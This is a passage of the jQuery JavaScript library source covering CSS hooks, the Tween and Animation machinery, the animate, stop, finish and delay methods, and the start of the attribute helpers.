:\n\t\t\t\t\t0;\n\n\t\t\t// Account for unreliable border-box dimensions by comparing offset* to computed and\n\t\t\t// faking a content-box to get border and padding (gh-3699)\n\t\t\tif ( isBorderBox && scrollboxSizeBuggy ) {\n\t\t\t\tsubtract -= Math.ceil(\n\t\t\t\t\telem[ \"offset\" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -\n\t\t\t\t\tparseFloat( styles[ dimension ] ) -\n\t\t\t\t\tboxModelAdjustment( elem, dimension, \"border\", false, styles ) -\n\t\t\t\t\t0.5\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// Convert to pixels if value adjustment is needed\n\t\t\tif ( subtract && ( matches = rcssNum.exec( value ) ) &&\n\t\t\t\t( matches[ 3 ] || \"px\" ) !== \"px\" ) {\n\n\t\t\t\telem.style[ dimension ] = value;\n\t\t\t\tvalue = jQuery.css( elem, dimension );\n\t\t\t}\n\n\t\t\treturn setPositiveNumber( elem, value, subtract );\n\t\t}\n\t};\n} );\n\njQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft,\n\tfunction( elem, computed ) {\n\t\tif ( computed ) {\n\t\t\treturn ( parseFloat( curCSS( elem, \"marginLeft\" ) ) ||\n\t\t\t\telem.getBoundingClientRect().left -\n\t\t\t\t\tswap( elem, { marginLeft: 0 }, function() {\n\t\t\t\t\t\treturn elem.getBoundingClientRect().left;\n\t\t\t\t\t} )\n\t\t\t\t) + \"px\";\n\t\t}\n\t}\n);\n\n// These hooks are used by animate to expand properties\njQuery.each( {\n\tmargin: \"\",\n\tpadding: \"\",\n\tborder: \"Width\"\n}, function( prefix, suffix ) {\n\tjQuery.cssHooks[ prefix + suffix ] = {\n\t\texpand: function( value ) {\n\t\t\tvar i = 0,\n\t\t\t\texpanded = {},\n\n\t\t\t\t// Assumes a single number if not a string\n\t\t\t\tparts = typeof value === \"string\" ? value.split( \" \" ) : [ value ];\n\n\t\t\tfor ( ; i < 4; i++ ) {\n\t\t\t\texpanded[ prefix + cssExpand[ i ] + suffix ] =\n\t\t\t\t\tparts[ i ] || parts[ i - 2 ] || parts[ 0 ];\n\t\t\t}\n\n\t\t\treturn expanded;\n\t\t}\n\t};\n\n\tif ( prefix !== \"margin\" ) {\n\t\tjQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;\n\t}\n} );\n\njQuery.fn.extend( {\n\tcss: function( name, value ) {\n\t\treturn access( this, function( elem, name, value ) {\n\t\t\tvar styles, len,\n\t\t\t\tmap = {},\n\t\t\t\ti = 0;\n\n\t\t\tif ( Array.isArray( name ) ) {\n\t\t\t\tstyles = getStyles( elem );\n\t\t\t\tlen = name.length;\n\n\t\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\t\tmap[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );\n\t\t\t\t}\n\n\t\t\t\treturn map;\n\t\t\t}\n\n\t\t\treturn value !== undefined ?\n\t\t\t\tjQuery.style( elem, name, value ) :\n\t\t\t\tjQuery.css( elem, name );\n\t\t}, name, value, arguments.length > 1 );\n\t}\n} );\n\n\nfunction Tween( elem, options, prop, end, easing ) {\n\treturn new Tween.prototype.init( elem, options, prop, end, easing );\n}\njQuery.Tween = Tween;\n\nTween.prototype = {\n\tconstructor: Tween,\n\tinit: function( elem, options, prop, end, easing, unit ) {\n\t\tthis.elem = elem;\n\t\tthis.prop = prop;\n\t\tthis.easing = easing || jQuery.easing._default;\n\t\tthis.options = options;\n\t\tthis.start = this.now = this.cur();\n\t\tthis.end = end;\n\t\tthis.unit = unit || ( jQuery.cssNumber[ prop ] ? \"\" : \"px\" );\n\t},\n\tcur: function() {\n\t\tvar hooks = Tween.propHooks[ this.prop ];\n\n\t\treturn hooks && hooks.get ?\n\t\t\thooks.get( this ) :\n\t\t\tTween.propHooks._default.get( this );\n\t},\n\trun: function( percent ) {\n\t\tvar eased,\n\t\t\thooks = Tween.propHooks[ this.prop ];\n\n\t\tif ( this.options.duration ) {\n\t\t\tthis.pos = eased = jQuery.easing[ this.easing ](\n\t\t\t\tpercent, this.options.duration * percent, 0, 1, this.options.duration\n\t\t\t);\n\t\t} else {\n\t\t\tthis.pos = eased = percent;\n\t\t}\n\t\tthis.now = ( this.end - this.start ) * eased + this.start;\n\n\t\tif ( this.options.step ) {\n\t\t\tthis.options.step.call( this.elem, this.now, this );\n\t\t}\n\n\t\tif ( hooks && hooks.set ) {\n\t\t\thooks.set( this );\n\t\t} else {\n\t\t\tTween.propHooks._default.set( this );\n\t\t}\n\t\treturn this;\n\t}\n};\n\nTween.prototype.init.prototype = Tween.prototype;\n\nTween.propHooks = {\n\t_default: {\n\t\tget: function( tween ) {\n\t\t\tvar result;\n\n\t\t\t// Use a property on the element directly when it is not a DOM element,\n\t\t\t// or when there is no matching style property that exists.\n\t\t\tif ( tween.elem.nodeType !== 1 ||\n\t\t\t\ttween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) {\n\t\t\t\treturn tween.elem[ tween.prop ];\n\t\t\t}\n\n\t\t\t// Passing an empty string as a 3rd parameter to .css will automatically\n\t\t\t// attempt a parseFloat and fallback to a string if the parse fails.\n\t\t\t// Simple values such as \"10px\" are parsed to Float;\n\t\t\t// complex values such as \"rotate(1rad)\" are returned as-is.\n\t\t\tresult = jQuery.css( tween.elem, tween.prop, \"\" );\n\n\t\t\t// Empty strings, null, undefined and \"auto\" are converted to 0.\n\t\t\treturn !result || result === \"auto\" ? 0 : result;\n\t\t},\n\t\tset: function( tween ) {\n\n\t\t\t// Use step hook for back compat.\n\t\t\t// Use cssHook if its there.\n\t\t\t// Use .style if available and use plain properties where available.\n\t\t\tif ( jQuery.fx.step[ tween.prop ] ) {\n\t\t\t\tjQuery.fx.step[ tween.prop ]( tween );\n\t\t\t} else if ( tween.elem.nodeType === 1 && (\n\t\t\t\t\tjQuery.cssHooks[ tween.prop ] ||\n\t\t\t\t\ttween.elem.style[ finalPropName( tween.prop ) ] != null ) ) {\n\t\t\t\tjQuery.style( tween.elem, tween.prop, tween.now + tween.unit );\n\t\t\t} else {\n\t\t\t\ttween.elem[ tween.prop ] = tween.now;\n\t\t\t}\n\t\t}\n\t}\n};\n\n// Support: IE <=9 only\n// Panic based approach to setting things on disconnected nodes\nTween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {\n\tset: function( tween ) {\n\t\tif ( tween.elem.nodeType && tween.elem.parentNode ) {\n\t\t\ttween.elem[ tween.prop ] = tween.now;\n\t\t}\n\t}\n};\n\njQuery.easing = {\n\tlinear: function( p ) {\n\t\treturn p;\n\t},\n\tswing: function( p ) {\n\t\treturn 0.5 - Math.cos( p * Math.PI ) / 2;\n\t},\n\t_default: \"swing\"\n};\n\njQuery.fx = Tween.prototype.init;\n\n// Back compat <1.8 extension point\njQuery.fx.step = {};\n\n\n\n\nvar\n\tfxNow, inProgress,\n\trfxtypes = /^(?:toggle|show|hide)$/,\n\trrun = /queueHooks$/;\n\nfunction schedule() {\n\tif ( inProgress ) {\n\t\tif ( document.hidden === false && window.requestAnimationFrame ) {\n\t\t\twindow.requestAnimationFrame( schedule );\n\t\t} else {\n\t\t\twindow.setTimeout( schedule, jQuery.fx.interval );\n\t\t}\n\n\t\tjQuery.fx.tick();\n\t}\n}\n\n// Animations created synchronously will run synchronously\nfunction createFxNow() {\n\twindow.setTimeout( function() {\n\t\tfxNow = undefined;\n\t} );\n\treturn ( fxNow = Date.now() );\n}\n\n// Generate parameters to create a standard animation\nfunction genFx( type, includeWidth ) {\n\tvar which,\n\t\ti = 0,\n\t\tattrs = { height: type };\n\n\t// If we include width, step value is 1 to do all cssExpand values,\n\t// otherwise step value is 2 to skip over Left and Right\n\tincludeWidth = includeWidth ? 1 : 0;\n\tfor ( ; i < 4; i += 2 - includeWidth ) {\n\t\twhich = cssExpand[ i ];\n\t\tattrs[ \"margin\" + which ] = attrs[ \"padding\" + which ] = type;\n\t}\n\n\tif ( includeWidth ) {\n\t\tattrs.opacity = attrs.width = type;\n\t}\n\n\treturn attrs;\n}\n\nfunction createTween( value, prop, animation ) {\n\tvar tween,\n\t\tcollection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ \"*\" ] ),\n\t\tindex = 0,\n\t\tlength = collection.length;\n\tfor ( ; index < length; index++ ) {\n\t\tif ( ( tween = collection[ index ].call( animation, prop, value ) ) ) {\n\n\t\t\t// We're done with this property\n\t\t\treturn tween;\n\t\t}\n\t}\n}\n\nfunction defaultPrefilter( elem, props, opts ) {\n\tvar prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display,\n\t\tisBox = \"width\" in props || \"height\" in props,\n\t\tanim = this,\n\t\torig = {},\n\t\tstyle = elem.style,\n\t\thidden = elem.nodeType && isHiddenWithinTree( elem ),\n\t\tdataShow = dataPriv.get( elem, \"fxshow\" );\n\n\t// Queue-skipping animations hijack the fx hooks\n\tif ( !opts.queue ) {\n\t\thooks = jQuery._queueHooks( elem, \"fx\" );\n\t\tif ( hooks.unqueued == null ) {\n\t\t\thooks.unqueued = 0;\n\t\t\toldfire = hooks.empty.fire;\n\t\t\thooks.empty.fire = function() {\n\t\t\t\tif ( !hooks.unqueued ) {\n\t\t\t\t\toldfire();\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t\thooks.unqueued++;\n\n\t\tanim.always( function() {\n\n\t\t\t// Ensure the complete handler is called before this completes\n\t\t\tanim.always( function() {\n\t\t\t\thooks.unqueued--;\n\t\t\t\tif ( !jQuery.queue( elem, \"fx\" ).length ) {\n\t\t\t\t\thooks.empty.fire();\n\t\t\t\t}\n\t\t\t} );\n\t\t} );\n\t}\n\n\t// Detect show/hide animations\n\tfor ( prop in props ) {\n\t\tvalue = props[ prop ];\n\t\tif ( rfxtypes.test( value ) ) {\n\t\t\tdelete props[ prop ];\n\t\t\ttoggle = toggle || value === \"toggle\";\n\t\t\tif ( value === ( hidden ? \"hide\" : \"show\" ) ) {\n\n\t\t\t\t// Pretend to be hidden if this is a \"show\" and\n\t\t\t\t// there is still data from a stopped show/hide\n\t\t\t\tif ( value === \"show\" && dataShow && dataShow[ prop ] !== undefined ) {\n\t\t\t\t\thidden = true;\n\n\t\t\t\t// Ignore all other no-op show/hide data\n\t\t\t\t} else {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t\torig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );\n\t\t}\n\t}\n\n\t// Bail out if this is a no-op like .hide().hide()\n\tpropTween = !jQuery.isEmptyObject( props );\n\tif ( !propTween && jQuery.isEmptyObject( orig ) ) {\n\t\treturn;\n\t}\n\n\t// Restrict \"overflow\" and \"display\" styles during box animations\n\tif ( isBox && elem.nodeType === 1 ) {\n\n\t\t// Support: IE <=9 - 11, Edge 12 - 15\n\t\t// Record all 3 overflow attributes because IE does not infer the shorthand\n\t\t// from identically-valued overflowX and overflowY and Edge just mirrors\n\t\t// the overflowX value there.\n\t\topts.overflow = [ style.overflow, style.overflowX, style.overflowY ];\n\n\t\t// Identify a display type, preferring old show/hide data over the CSS cascade\n\t\trestoreDisplay = dataShow && dataShow.display;\n\t\tif ( restoreDisplay == null ) {\n\t\t\trestoreDisplay = dataPriv.get( elem, \"display\" );\n\t\t}\n\t\tdisplay = jQuery.css( elem, \"display\" );\n\t\tif ( display === \"none\" ) {\n\t\t\tif ( restoreDisplay ) {\n\t\t\t\tdisplay = restoreDisplay;\n\t\t\t} else {\n\n\t\t\t\t// Get nonempty value(s) by temporarily forcing visibility\n\t\t\t\tshowHide( [ elem ], true );\n\t\t\t\trestoreDisplay = elem.style.display || restoreDisplay;\n\t\t\t\tdisplay = jQuery.css( elem, \"display\" );\n\t\t\t\tshowHide( [ elem ] );\n\t\t\t}\n\t\t}\n\n\t\t// Animate inline elements as inline-block\n\t\tif ( display === \"inline\" || display === \"inline-block\" && restoreDisplay != null ) {\n\t\t\tif ( jQuery.css( elem, \"float\" ) === \"none\" ) {\n\n\t\t\t\t// Restore the original display value at the end of pure show/hide animations\n\t\t\t\tif ( !propTween ) {\n\t\t\t\t\tanim.done( function() {\n\t\t\t\t\t\tstyle.display = restoreDisplay;\n\t\t\t\t\t} );\n\t\t\t\t\tif ( restoreDisplay == null ) {\n\t\t\t\t\t\tdisplay = style.display;\n\t\t\t\t\t\trestoreDisplay = display === \"none\" ? \"\" : display;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tstyle.display = \"inline-block\";\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( opts.overflow ) {\n\t\tstyle.overflow = \"hidden\";\n\t\tanim.always( function() {\n\t\t\tstyle.overflow = opts.overflow[ 0 ];\n\t\t\tstyle.overflowX = opts.overflow[ 1 ];\n\t\t\tstyle.overflowY = opts.overflow[ 2 ];\n\t\t} );\n\t}\n\n\t// Implement show/hide animations\n\tpropTween = false;\n\tfor ( prop in orig ) {\n\n\t\t// General show/hide setup for this element animation\n\t\tif ( !propTween ) {\n\t\t\tif ( dataShow ) {\n\t\t\t\tif ( \"hidden\" in dataShow ) {\n\t\t\t\t\thidden = dataShow.hidden;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdataShow = dataPriv.access( elem, \"fxshow\", { display: restoreDisplay } );\n\t\t\t}\n\n\t\t\t// Store hidden/visible for toggle so `.stop().toggle()` \"reverses\"\n\t\t\tif ( toggle ) {\n\t\t\t\tdataShow.hidden = !hidden;\n\t\t\t}\n\n\t\t\t// Show elements before animating them\n\t\t\tif ( hidden ) {\n\t\t\t\tshowHide( [ elem ], true );\n\t\t\t}\n\n\t\t\t/* eslint-disable no-loop-func */\n\n\t\t\tanim.done( function() {\n\n\t\t\t/* eslint-enable no-loop-func */\n\n\t\t\t\t// The final step of a \"hide\" animation is actually hiding the element\n\t\t\t\tif ( !hidden ) {\n\t\t\t\t\tshowHide( [ elem ] );\n\t\t\t\t}\n\t\t\t\tdataPriv.remove( elem, \"fxshow\" );\n\t\t\t\tfor ( prop in orig ) {\n\t\t\t\t\tjQuery.style( elem, prop, orig[ prop ] );\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\n\t\t// Per-property setup\n\t\tpropTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );\n\t\tif ( !( prop in dataShow ) ) {\n\t\t\tdataShow[ prop ] = propTween.start;\n\t\t\tif ( hidden ) {\n\t\t\t\tpropTween.end = propTween.start;\n\t\t\t\tpropTween.start = 0;\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunction propFilter( props, specialEasing ) {\n\tvar index, name, easing, value, hooks;\n\n\t// camelCase, specialEasing and expand cssHook pass\n\tfor ( index in props ) {\n\t\tname = camelCase( index );\n\t\teasing = specialEasing[ name ];\n\t\tvalue = props[ index ];\n\t\tif ( Array.isArray( value ) ) {\n\t\t\teasing = value[ 1 ];\n\t\t\tvalue = props[ index ] = value[ 0 ];\n\t\t}\n\n\t\tif ( index !== name ) {\n\t\t\tprops[ name ] = value;\n\t\t\tdelete props[ index ];\n\t\t}\n\n\t\thooks = jQuery.cssHooks[ name ];\n\t\tif ( hooks && \"expand\" in hooks ) {\n\t\t\tvalue = hooks.expand( value );\n\t\t\tdelete props[ name ];\n\n\t\t\t// Not quite $.extend, this won't overwrite existing keys.\n\t\t\t// Reusing 'index' because we have the correct \"name\"\n\t\t\tfor ( index in value ) {\n\t\t\t\tif ( !( index in props ) ) {\n\t\t\t\t\tprops[ index ] = value[ index ];\n\t\t\t\t\tspecialEasing[ index ] = easing;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tspecialEasing[ name ] = easing;\n\t\t}\n\t}\n}\n\nfunction Animation( elem, properties, options ) {\n\tvar result,\n\t\tstopped,\n\t\tindex = 0,\n\t\tlength = Animation.prefilters.length,\n\t\tdeferred = jQuery.Deferred().always( function() {\n\n\t\t\t// Don't match elem in the :animated selector\n\t\t\tdelete tick.elem;\n\t\t} ),\n\t\ttick = function() {\n\t\t\tif ( stopped ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tvar currentTime = fxNow || createFxNow(),\n\t\t\t\tremaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),\n\n\t\t\t\t// Support: Android 2.3 only\n\t\t\t\t// Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497)\n\t\t\t\ttemp = remaining / animation.duration || 0,\n\t\t\t\tpercent = 1 - temp,\n\t\t\t\tindex = 0,\n\t\t\t\tlength = animation.tweens.length;\n\n\t\t\tfor ( ; index < length; index++ ) {\n\t\t\t\tanimation.tweens[ index ].run( percent );\n\t\t\t}\n\n\t\t\tdeferred.notifyWith( elem, [ animation, percent, remaining ] );\n\n\t\t\t// If there's more to do, yield\n\t\t\tif ( percent < 1 && length ) {\n\t\t\t\treturn remaining;\n\t\t\t}\n\n\t\t\t// If this was an empty animation, synthesize a final progress notification\n\t\t\tif ( !length ) {\n\t\t\t\tdeferred.notifyWith( elem, [ animation, 1, 0 ] );\n\t\t\t}\n\n\t\t\t// Resolve the animation and report its conclusion\n\t\t\tdeferred.resolveWith( elem, [ animation ] );\n\t\t\treturn false;\n\t\t},\n\t\tanimation = deferred.promise( {\n\t\t\telem: elem,\n\t\t\tprops: jQuery.extend( {}, properties ),\n\t\t\topts: jQuery.extend( true, {\n\t\t\t\tspecialEasing: {},\n\t\t\t\teasing: jQuery.easing._default\n\t\t\t}, options ),\n\t\t\toriginalProperties: properties,\n\t\t\toriginalOptions: options,\n\t\t\tstartTime: fxNow || createFxNow(),\n\t\t\tduration: options.duration,\n\t\t\ttweens: [],\n\t\t\tcreateTween: function( prop, end ) {\n\t\t\t\tvar tween = jQuery.Tween( elem, animation.opts, prop, end,\n\t\t\t\t\t\tanimation.opts.specialEasing[ prop ] || animation.opts.easing );\n\t\t\t\tanimation.tweens.push( tween );\n\t\t\t\treturn tween;\n\t\t\t},\n\t\t\tstop: function( gotoEnd ) {\n\t\t\t\tvar index = 0,\n\n\t\t\t\t\t// If we are going to the end, we want to run all the tweens\n\t\t\t\t\t// otherwise we skip this part\n\t\t\t\t\tlength = gotoEnd ? animation.tweens.length : 0;\n\t\t\t\tif ( stopped ) {\n\t\t\t\t\treturn this;\n\t\t\t\t}\n\t\t\t\tstopped = true;\n\t\t\t\tfor ( ; index < length; index++ ) {\n\t\t\t\t\tanimation.tweens[ index ].run( 1 );\n\t\t\t\t}\n\n\t\t\t\t// Resolve when we played the last frame; otherwise, reject\n\t\t\t\tif ( gotoEnd ) {\n\t\t\t\t\tdeferred.notifyWith( elem, [ animation, 1, 0 ] );\n\t\t\t\t\tdeferred.resolveWith( elem, [ animation, gotoEnd ] );\n\t\t\t\t} else {\n\t\t\t\t\tdeferred.rejectWith( elem, [ animation, gotoEnd ] );\n\t\t\t\t}\n\t\t\t\treturn this;\n\t\t\t}\n\t\t} ),\n\t\tprops = animation.props;\n\n\tpropFilter( props, animation.opts.specialEasing );\n\n\tfor ( ; index < length; index++ ) {\n\t\tresult = Animation.prefilters[ index ].call( animation, elem, props, animation.opts );\n\t\tif ( result ) {\n\t\t\tif ( isFunction( result.stop ) ) {\n\t\t\t\tjQuery._queueHooks( animation.elem, animation.opts.queue ).stop =\n\t\t\t\t\tresult.stop.bind( result );\n\t\t\t}\n\t\t\treturn result;\n\t\t}\n\t}\n\n\tjQuery.map( props, createTween, animation );\n\n\tif ( isFunction( animation.opts.start ) ) {\n\t\tanimation.opts.start.call( elem, animation );\n\t}\n\n\t// Attach callbacks from options\n\tanimation\n\t\t.progress( animation.opts.progress )\n\t\t.done( animation.opts.done, animation.opts.complete )\n\t\t.fail( animation.opts.fail )\n\t\t.always( animation.opts.always );\n\n\tjQuery.fx.timer(\n\t\tjQuery.extend( tick, {\n\t\t\telem: elem,\n\t\t\tanim: animation,\n\t\t\tqueue: animation.opts.queue\n\t\t} )\n\t);\n\n\treturn animation;\n}\n\njQuery.Animation = jQuery.extend( Animation, {\n\n\ttweeners: {\n\t\t\"*\": [ function( prop, value ) {\n\t\t\tvar tween = this.createTween( prop, value );\n\t\t\tadjustCSS( tween.elem, prop, rcssNum.exec( value ), tween );\n\t\t\treturn tween;\n\t\t} ]\n\t},\n\n\ttweener: function( props, callback ) {\n\t\tif ( isFunction( props ) ) {\n\t\t\tcallback = props;\n\t\t\tprops = [ \"*\" ];\n\t\t} else {\n\t\t\tprops = props.match( rnothtmlwhite );\n\t\t}\n\n\t\tvar prop,\n\t\t\tindex = 0,\n\t\t\tlength = props.length;\n\n\t\tfor ( ; index < length; index++ ) {\n\t\t\tprop = props[ index ];\n\t\t\tAnimation.tweeners[ prop ] = Animation.tweeners[ prop ] || [];\n\t\t\tAnimation.tweeners[ prop ].unshift( callback );\n\t\t}\n\t},\n\n\tprefilters: [ defaultPrefilter ],\n\n\tprefilter: function( callback, prepend ) {\n\t\tif ( prepend ) {\n\t\t\tAnimation.prefilters.unshift( callback );\n\t\t} else {\n\t\t\tAnimation.prefilters.push( callback );\n\t\t}\n\t}\n} );\n\njQuery.speed = function( speed, easing, fn ) {\n\tvar opt = speed && typeof speed === \"object\" ? jQuery.extend( {}, speed ) : {\n\t\tcomplete: fn || !fn && easing ||\n\t\t\tisFunction( speed ) && speed,\n\t\tduration: speed,\n\t\teasing: fn && easing || easing && !isFunction( easing ) && easing\n\t};\n\n\t// Go to the end state if fx are off\n\tif ( jQuery.fx.off ) {\n\t\topt.duration = 0;\n\n\t} else {\n\t\tif ( typeof opt.duration !== \"number\" ) {\n\t\t\tif ( opt.duration in jQuery.fx.speeds ) {\n\t\t\t\topt.duration = jQuery.fx.speeds[ opt.duration ];\n\n\t\t\t} else {\n\t\t\t\topt.duration = jQuery.fx.speeds._default;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Normalize opt.queue - true/undefined/null -> \"fx\"\n\tif ( opt.queue == null || opt.queue === true ) {\n\t\topt.queue = \"fx\";\n\t}\n\n\t// Queueing\n\topt.old = opt.complete;\n\n\topt.complete = function() {\n\t\tif ( isFunction( opt.old ) ) {\n\t\t\topt.old.call( this );\n\t\t}\n\n\t\tif ( opt.queue ) {\n\t\t\tjQuery.dequeue( this, opt.queue );\n\t\t}\n\t};\n\n\treturn opt;\n};\n\njQuery.fn.extend( {\n\tfadeTo: function( speed, to, easing, callback ) {\n\n\t\t// Show any hidden elements after setting opacity to 0\n\t\treturn this.filter( isHiddenWithinTree ).css( \"opacity\", 0 ).show()\n\n\t\t\t// Animate to the value specified\n\t\t\t.end().animate( { opacity: to }, speed, easing, callback );\n\t},\n\tanimate: function( prop, speed, easing, callback ) {\n\t\tvar empty = jQuery.isEmptyObject( prop ),\n\t\t\toptall = jQuery.speed( speed, easing, callback ),\n\t\t\tdoAnimation = function() {\n\n\t\t\t\t// Operate on a copy of prop so per-property easing won't be lost\n\t\t\t\tvar anim = Animation( this, jQuery.extend( {}, prop ), optall );\n\n\t\t\t\t// Empty animations, or finishing resolves immediately\n\t\t\t\tif ( empty || dataPriv.get( this, \"finish\" ) ) {\n\t\t\t\t\tanim.stop( true );\n\t\t\t\t}\n\t\t\t};\n\t\t\tdoAnimation.finish = doAnimation;\n\n\t\treturn empty || optall.queue === false ?\n\t\t\tthis.each( doAnimation ) :\n\t\t\tthis.queue( optall.queue, doAnimation );\n\t},\n\tstop: function( type, clearQueue, gotoEnd ) {\n\t\tvar stopQueue = function( hooks ) {\n\t\t\tvar stop = hooks.stop;\n\t\t\tdelete hooks.stop;\n\t\t\tstop( gotoEnd );\n\t\t};\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tgotoEnd = clearQueue;\n\t\t\tclearQueue = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\tif ( clearQueue && type !== false ) {\n\t\t\tthis.queue( type || \"fx\", [] );\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tvar dequeue = true,\n\t\t\t\tindex = type != null && type + \"queueHooks\",\n\t\t\t\ttimers = jQuery.timers,\n\t\t\t\tdata = dataPriv.get( this );\n\n\t\t\tif ( index ) {\n\t\t\t\tif ( data[ index ] && data[ index ].stop ) {\n\t\t\t\t\tstopQueue( data[ index ] );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor ( index in data ) {\n\t\t\t\t\tif ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {\n\t\t\t\t\t\tstopQueue( data[ index ] );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor ( index = timers.length; index--; ) {\n\t\t\t\tif ( timers[ index ].elem === this &&\n\t\t\t\t\t( type == null || timers[ index ].queue === type ) ) {\n\n\t\t\t\t\ttimers[ index ].anim.stop( gotoEnd );\n\t\t\t\t\tdequeue = false;\n\t\t\t\t\ttimers.splice( index, 1 );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Start the next in the queue if the last step wasn't forced.\n\t\t\t// Timers currently will call their complete callbacks, which\n\t\t\t// will dequeue but only if they were gotoEnd.\n\t\t\tif ( dequeue || !gotoEnd ) {\n\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t}\n\t\t} );\n\t},\n\tfinish: function( type ) {\n\t\tif ( type !== false ) {\n\t\t\ttype = type || \"fx\";\n\t\t}\n\t\treturn this.each( function() {\n\t\t\tvar index,\n\t\t\t\tdata = dataPriv.get( this ),\n\t\t\t\tqueue = data[ type + \"queue\" ],\n\t\t\t\thooks = data[ type + \"queueHooks\" ],\n\t\t\t\ttimers = jQuery.timers,\n\t\t\t\tlength = queue ? queue.length : 0;\n\n\t\t\t// Enable finishing flag on private data\n\t\t\tdata.finish = true;\n\n\t\t\t// Empty the queue first\n\t\t\tjQuery.queue( this, type, [] );\n\n\t\t\tif ( hooks && hooks.stop ) {\n\t\t\t\thooks.stop.call( this, true );\n\t\t\t}\n\n\t\t\t// Look for any active animations, and finish them\n\t\t\tfor ( index = timers.length; index--; ) {\n\t\t\t\tif ( timers[ index ].elem === this && timers[ index ].queue === type ) {\n\t\t\t\t\ttimers[ index ].anim.stop( true );\n\t\t\t\t\ttimers.splice( index, 1 );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Look for any animations in the old queue and finish them\n\t\t\tfor ( index = 0; index < length; index++ ) {\n\t\t\t\tif ( queue[ index ] && queue[ index ].finish ) {\n\t\t\t\t\tqueue[ index ].finish.call( this );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Turn off finishing flag\n\t\t\tdelete data.finish;\n\t\t} );\n\t}\n} );\n\njQuery.each( [ \"toggle\", \"show\", \"hide\" ], function( i, name ) {\n\tvar cssFn = jQuery.fn[ name ];\n\tjQuery.fn[ name ] = function( speed, easing, callback ) {\n\t\treturn speed == null || typeof speed === \"boolean\" ?\n\t\t\tcssFn.apply( this, arguments ) :\n\t\t\tthis.animate( genFx( name, true ), speed, easing, callback );\n\t};\n} );\n\n// Generate shortcuts for custom animations\njQuery.each( {\n\tslideDown: genFx( \"show\" ),\n\tslideUp: genFx( \"hide\" ),\n\tslideToggle: genFx( \"toggle\" ),\n\tfadeIn: { opacity: \"show\" },\n\tfadeOut: { opacity: \"hide\" },\n\tfadeToggle: { opacity: \"toggle\" }\n}, function( name, props ) {\n\tjQuery.fn[ name ] = function( speed, easing, callback ) {\n\t\treturn this.animate( props, speed, easing, callback );\n\t};\n} );\n\njQuery.timers = [];\njQuery.fx.tick = function() {\n\tvar timer,\n\t\ti = 0,\n\t\ttimers = jQuery.timers;\n\n\tfxNow = Date.now();\n\n\tfor ( ; i < timers.length; i++ ) {\n\t\ttimer = timers[ i ];\n\n\t\t// Run the timer and safely remove it when done (allowing for external removal)\n\t\tif ( !timer() && timers[ i ] === timer ) {\n\t\t\ttimers.splice( i--, 1 );\n\t\t}\n\t}\n\n\tif ( !timers.length ) {\n\t\tjQuery.fx.stop();\n\t}\n\tfxNow = undefined;\n};\n\njQuery.fx.timer = function( timer ) {\n\tjQuery.timers.push( timer );\n\tjQuery.fx.start();\n};\n\njQuery.fx.interval = 13;\njQuery.fx.start = function() {\n\tif ( inProgress ) {\n\t\treturn;\n\t}\n\n\tinProgress = true;\n\tschedule();\n};\n\njQuery.fx.stop = function() {\n\tinProgress = null;\n};\n\njQuery.fx.speeds = {\n\tslow: 600,\n\tfast: 200,\n\n\t// Default speed\n\t_default: 400\n};\n\n\n// Based off of the plugin by Clint Helfers, with permission.\n// https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/\njQuery.fn.delay = function( time, type ) {\n\ttime = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;\n\ttype = type || \"fx\";\n\n\treturn this.queue( type, function( next, hooks ) {\n\t\tvar timeout = window.setTimeout( next, time );\n\t\thooks.stop = function() {\n\t\t\twindow.clearTimeout( timeout );\n\t\t};\n\t} );\n};\n\n\n( function() {\n\tvar input = document.createElement( \"input\" ),\n\t\tselect = document.createElement( \"select\" ),\n\t\topt = select.appendChild( document.createElement( \"option\" ) );\n\n\tinput.type = \"checkbox\";\n\n\t// Support: Android <=4.3 only\n\t// Default value for a checkbox should be \"on\"\n\tsupport.checkOn = input.value !== \"\";\n\n\t// Support: IE <=11 only\n\t// Must access selectedIndex to make default options select\n\tsupport.optSelected = opt.selected;\n\n\t// Support: IE <=11 only\n\t// An input loses its value after becoming a radio\n\tinput = document.createElement( \"input\" );\n\tinput.value = \"t\";\n\tinput.type = \"radio\";\n\tsupport.radioValue = input.value === \"t\";\n} )();\n\n\nvar boolHook,\n\tattrHandle = jQuery.expr.attrHandle;\n\njQuery.fn.extend( {\n\tattr: function( name, value ) {\n\t\treturn access( this, jQuery.attr, name, value, arguments.length > 1 );\n\t},\n\n\tremoveAttr: function( name ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.removeAttr( this, name 